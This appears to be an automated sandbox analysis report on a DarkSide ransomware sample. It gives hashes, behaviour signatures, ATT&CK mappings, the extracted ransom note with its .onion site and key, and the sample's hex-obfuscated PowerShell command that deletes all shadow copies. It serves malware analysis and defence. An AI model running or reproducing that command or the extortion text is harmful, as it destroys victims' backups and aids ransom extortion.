Analysis

  • max time kernel
    111s
  • max time network
    108s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    12-05-2021 19:34

General

  • Target

    508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe

  • Size

    59KB

  • MD5

    69ec3d1368adbe75f3766fc88bc64afc

  • SHA1

    11936a92144ef1b53eef16566a57b9052d173291

  • SHA256

    508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add

  • SHA512

    58f0f04cb05221e9a50eab89924c45bccc15045e9552e10f39ebbb651eddc5d4fafd95a1ba80f4a6ab8d23c4d3dfff7669e2499650b328420c766cae82e439e8

Malware Config

Extracted

Path

C:\\README.341d6443.TXT

Family

darkside

Ransom Note
----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/OBB5DDMR8RB9DI2RYYF376YGBJAV2J4F2NXFEWPBSXY709MAA0MY7PMBBQJ0HVG3 When you open our website, put the following data in the input form: Key: 5l5BZPnhuDEYAVqJR4MgValoWwML2OjDOtYwubDXeXGefcJDd4otfGdb9pJPrHW7Rt0XqdwabTWl9I5xhiHBsW6mg5BoqR4M2LZ0TI1hN4ifY7RVgRakjxxhhyImncWtgNb8LWtJlhn6cwtDLlsIjq0wAn8s7YsdzgTPPreHXEyFiFH1ozVIpZXV1mO5QXMZu16DNkFcXVIfdw5gPeSYjd3VAa7VlIH8IXgwCuza7YprCeDIOmvRqYK1jBH4s4nn0VyEHnWRndP7jNNUmat6FMhNzeKnLYGbMDRwmZR6iFdFX0Y3lhEWenDamVRchRSE5YwiL9LqTfkrnrswflssAB0SOcodZXRxG5HNItcitj3Za1NzC5fmBpdKN4jV01hMBG98ZEN8HMKeOdVxKtbAZP86K9IfBy8QcNrWLQ2hAeup6DD6KsG8R0Jj8czKTu4MDlGaxQMtPSycA0B6IzpPVV0Tbn9yWIIFH6y4mir71zDWbcPH3p5Hnr80gTnOFHXGzkGfrdy1bjn5H99zniLFFjchV8EEPMtgG2PwKF7NVQ9dTdlMBHWQpGc !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!
URLs

http://darksidfqzcuhtk2.onion/OBB5DDMR8RB9DI2RYYF376YGBJAV2J4F2NXFEWPBSXY709MAA0MY7PMBBQJ0HVG3

Signatures

  • DarkSide

    Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.

  • Modifies extensions of user files 9 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Modifies Control Panel 1 IoCs
  • Modifies registry class 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
    "C:\Users\Admin\AppData\Local\Temp\508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe"
    1⤵
    • Modifies extensions of user files
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1100
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1700
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:564

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Modify Registry

1
T1112

Credential Access

Credentials in Files

1
T1081

Collection

Data from Local System

1
T1005

Impact

Defacement

1
T1491

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
    MD5

    ca7dfbced7e817689880d6b0f7c96d9e

    SHA1

    a5a204d9186b5823aa4c8c3565c892e77cba128e

    SHA256

    99f9b4c194defd31da3b2e9e16980f9445090a3219b21e85d302d3cfa4c81919

    SHA512

    3230fbf0258cd02d72b67871d25acd2db19bcac902634f44e5239c54a9f3b60902b428348bb043fb405c7b8d212d6fae00d63b0d11accbc305456d8971da1347

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
    MD5

    55e9ab22d3864fb363c68a7ffb951282

    SHA1

    c88fdb9a5497cf5bc6170d1207ca0e860ec277fb

    SHA256

    77d3092ab291b5640113ae9e335237245fd5e0c06d26d2c3633038367814b19b

    SHA512

    bd55f75d660fd58c23c02839749d5faad089147ef036a34b6e520fcec1e4cb95e69629a47c1052f673d0607a90dfc6d23ced2ab842e4a293bc1330e8cde36286

  • memory/1100-60-0x0000000075A31000-0x0000000075A33000-memory.dmp
    Filesize

    8KB

  • memory/1700-66-0x000000001AB34000-0x000000001AB36000-memory.dmp
    Filesize

    8KB

  • memory/1700-64-0x000000001ABB0000-0x000000001ABB1000-memory.dmp
    Filesize

    4KB

  • memory/1700-65-0x000000001AB30000-0x000000001AB32000-memory.dmp
    Filesize

    8KB

  • memory/1700-63-0x00000000025F0000-0x00000000025F1000-memory.dmp
    Filesize

    4KB

  • memory/1700-67-0x000000001AA90000-0x000000001AA91000-memory.dmp
    Filesize

    4KB

  • memory/1700-68-0x0000000001E40000-0x0000000001E41000-memory.dmp
    Filesize

    4KB

  • memory/1700-69-0x000000001B720000-0x000000001B721000-memory.dmp
    Filesize

    4KB

  • memory/1700-70-0x000000001B7F0000-0x000000001B7F1000-memory.dmp
    Filesize

    4KB

  • memory/1700-62-0x000007FEFC661000-0x000007FEFC663000-memory.dmp
    Filesize

    8KB

  • memory/1700-61-0x0000000000000000-mapping.dmp